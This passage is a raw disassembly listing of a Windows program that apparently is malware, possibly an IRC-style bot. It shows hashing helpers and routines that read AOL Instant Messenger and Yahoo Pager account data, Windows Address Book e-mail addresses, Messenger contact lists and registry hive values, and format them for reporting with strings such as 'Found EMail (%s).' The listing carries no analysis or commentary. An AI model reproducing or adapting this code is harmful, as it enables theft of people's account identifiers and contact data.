ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_434770 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_433AB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434660 proc near ; CODE XREF: sub_433A20+14p ; sub_433A20+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_4346A7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43467A: ; CODE XREF: sub_434660+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43467A pop esi loc_4346A7: ; CODE XREF: sub_434660+7j pop edi retn sub_434660 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_43471A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4346ED: ; CODE XREF: sub_4346D0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4346ED pop edi pop esi loc_43471A: ; CODE XREF: sub_4346D0+7j pop ebp retn sub_4346D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434740 proc near ; CODE XREF: sub_433940+4Ep ; sub_433940+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_43475C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_434753: ; CODE XREF: sub_434740+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_434753 loc_43475C: ; CODE XREF: sub_434740+7j pop esi retn sub_434740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434770 proc near ; CODE XREF: sub_433A20+60p ; sub_433AB0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_43479E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_43479E: ; CODE XREF: sub_434770+6j retn sub_434770 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4347B0 proc near ; CODE XREF: sub_401C0Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4347B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4347B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4348A0: ; CODE XREF: ___:loc_401F1Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BDF6 push eax mov eax, 16D4h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434E5E push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_443600 ; " " push 1 push eax call sub_4016AE push 800h mov dword ptr [esp+16F0h], 0 call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 0F83D89C0h dd 0F30050E3h, 57C4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004435h, 580FE890h, 0B9001Bh, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0FCBF0000h, 0F30050E3h dd 0E3F8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h dd 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D3C68h dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D60A568h, 0CE1AE800h, 0C483FFFCh, 90006A1Ch dd 4BB925E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 446F60h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 0E8900000h, 246B54Ch dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 47B507E8h dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004436h, 20244489h, 1B56A0E8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0FCBF0000h, 0F30050E3h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h dd 24EB6E9h, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 0E8905210h, 24BB7DEh, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 443D3Ch, 0E8694F8Dh, 0FFFCC913h, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D60A5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh dd 77E89052h, 8B024BB7h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h dd 10C683FFh, 5A14FE81h, 820F0044h, 0FFFFFD2Ah, 0F75C2D8Bh dd 448D0050h, 68501C24h, 20019h, 0A068006Ah, 6800445Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 446A5Ch, 85D3FF50h, 0C1850FC0h dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h dd 9468F08Bh, 5100445Bh, 446A4C68h, 26E85600h, 90001B55h dd 443E7C68h, 6DE85600h, 907780A3h, 0C483F88Bh, 74FF8518h dd 948D5775h, 8024h, 52646A00h, 0BEF3E890h, 0C4837780h dd 74C0850Ch, 24448D53h, 6A34687Ch, 90500044h, 812F8BE8h dd 8C48377h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch dd 446A1868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60A5h, 0FCCB33E8h dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 90560A74h dd 7F74EEE8h, 4C48377h, 1C24448Bh, 23E89050h, 8D024BB6h dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h dd 4469F0h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h dd 50520000h, 6A006Ah, 446A5C68h, 0D3FF5100h, 850FC085h dd 0BAh, 10468h, 767DE800h, 8390777Fh, 948D04C4h, 2E424h dd 68F08B00h, 4469E8h, 69D86852h, 0E8560044h, 1B5415h dd 3E7C6890h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh dd 0C0850CC4h, 4C8D4C74h, 0BC687C24h, 51004469h, 812E7BE8h dd 0C4839077h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh dd 69A06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h dd 50000000h, 60A56851h, 29E8004Dh, 83FFFCCAh, 905718C4h dd 80BC88E8h, 4C48377h, 0A74F685h, 73E5E856h, 8390777Fh dd 548B04C4h, 0E8521C24h, 24BB51Ah, 244C8D90h, 2484C764h dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_434E5E: ; CODE XREF: ___:004348E1j lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434FE2 lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 292023Dh test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_446938 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 28D0000h test eax, eax jz short loc_434EE8 mov edx, [esp+10h] push edx nop call near ptr 28F035Eh jmp loc_434FE2 ; --------------------------------------------------------------------------- loc_434EE8: ; CODE XREF: ___:00434ED6j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_50F738 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_44692C mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h call near ptr 292023Dh nop test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h call near ptr 28D0000h nop test eax, eax jz short loc_434F9F mov ecx, [esp+10h] push ecx call ebp jmp short loc_434FE2 ; --------------------------------------------------------------------------- loc_434F9F: ; CODE XREF: ___:00434F94j mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_434FE2: ; CODE XREF: ___:00434E70j ; ___:00434E94j ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 90h db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4351E0 proc near ; CODE XREF: sub_4016F4j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4351E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_4351E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_435280: ; CODE XREF: ___:loc_401FD7j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017E4 mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43551E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 292023Dh mov eax, [esp+14h] test eax, eax jz loc_43551E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_446F60 push eax call near ptr 28D0000h nop mov eax, [esp+14h] push eax nop call near ptr 28F035Eh push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 2850000h nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2710000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_435359 push edi nop call near ptr 28207FBh pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435359: ; CODE XREF: ___:00435341j push 0 push 0 push 0 push 4 push ebx nop call near ptr 271078Bh mov esi, eax test esi, esi jnz short loc_435389 mov esi, dword_50F8D8 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435389: ; CODE XREF: ___:0043536Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_435428 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4353CB: ; CODE XREF: ___:0043541Ej xor eax, eax mov ecx, edi loc_4353CF: ; CODE XREF: ___:004353DFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4353CF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h add edi, 44h dec ebx jnz short loc_4353CB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_435428: ; CODE XREF: ___:004353B7j push edi mov edi, dword_50F8D8 call edi push esi nop call near ptr 27109D5h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 292023Dh test eax, eax jnz loc_43551E mov ebx, off_50FBF0 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_435477: ; CODE XREF: ___:0043550Ej mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_446A78 push ecx call ebx ; sub_5EA1BD mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 28D0000h test eax, eax jnz short loc_435513 lea ecx, [esp+2DCh] push ecx push offset dword_446A6C lea ecx, [ebp+69h] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h push 64h call near ptr 2811E0Eh nop jmp loc_435477 ; --------------------------------------------------------------------------- loc_435513: ; CODE XREF: ___:004354D3j mov ecx, [esp+18h] push ecx nop call near ptr 28F035Eh loc_43551E: ; CODE XREF: ___:004352A4j ; ___:004352D4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4355E0 proc near ; CODE XREF: sub_401E47j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4355E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401681 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4355E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_401681 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4356F0 proc near ; CODE XREF: sub_401E4Cj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4356F0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435BC7 push ebp xor ebp, ebp push ebp push offset asc_443600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017E4 mov edi, dword_50F75C push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017E4 mov ebp, dword_50F724 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_43581C lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BBB+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_43581C: ; CODE XREF: sub_4356F0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F035Eh push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435904 lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BAF+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435904: ; CODE XREF: sub_4356F0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F035Eh push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_4359EC lea ecx, [esp+144h+var_108] push ecx push offset loc_446BA4 lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_4359EC: ; CODE XREF: sub_4356F0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F035Eh push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435AD4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435AD4: ; CODE XREF: sub_4356F0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28F035Eh push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017E4 push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_435BBD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435BBD: ; CODE XREF: sub_4356F0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_435C61 ; --------------------------------------------------------------------------- loc_435BC7: ; CODE XREF: sub_4356F0+3Cj lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435C67 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov 